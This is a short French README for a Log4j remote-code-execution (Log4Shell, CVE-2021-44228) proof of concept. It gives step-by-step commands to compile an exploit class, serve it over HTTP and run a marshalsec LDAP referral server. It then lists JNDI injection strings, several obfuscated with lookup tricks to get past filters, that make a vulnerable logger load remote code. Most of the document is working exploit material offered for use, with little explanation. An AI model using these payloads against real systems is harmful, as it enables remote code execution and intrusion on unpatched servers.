
Log4j-RCE (CVE-2021-44228) Preuve de concept
git clone https://github.com/PwnC00re/CVE-2021-44228-Apache-Log4j-Rce.git
cd apache-log4j-poc/src/main/java
javac Exploit.java
python -m SimpleHTTPServer 8888
cd tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Enfin, exécutez le projet, vous verrez votre calculatrice en local.
Conseils :
vous pouvez utiliser JNDI-Injection-Exploit pour l'exploitation.
Par exemple :
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
Les Lookups fournissent un moyen d'ajouter des valeurs à la configuration Log4j à des endroits arbitraires.
Les méthodes pour provoquer une fuite dans le bloc finally.
LogManager.getLogger().error()
LogManager.getLogger().fatal()
Si vous voulez effectuer des tests en boîte noire, je vous suggère de faire un scan passif.
Amusez-vous bien !!!
